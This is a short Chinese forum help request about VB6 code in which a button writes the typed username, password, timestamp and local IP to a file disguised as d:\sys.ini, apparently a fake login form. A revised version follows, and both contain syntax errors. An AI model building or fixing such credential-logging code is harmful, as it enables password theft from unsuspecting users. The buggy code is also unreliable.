vb6很大的问题

哪里错了啊，请高手帮我看看代码

Private Sub Command1_Click()
Open "d:\sys.ini" For Append As #1
Print #1,"[";"Now;"]";"用户名："; Text1.Text,"密码：";"Text2.Text,"来自于：";Winsock1.LocalIP,
Print #1,
Close #1
End Sub
Private Sub Command2_Click()
Unload Me
End Sub
我的代码哪里错了，请高手帮忙改一下！谢谢

Private Sub Command1_Click()
Open "d:\sys.ini" For Append As #1
Print #1, Now & "帐号" & Text1 & "密码" & spece(2) & Text2 & Winsock1.LocalIP,
Print #1,
Close #1
End Sub
Private Sub Command2_Click()
Unload Me
End Sub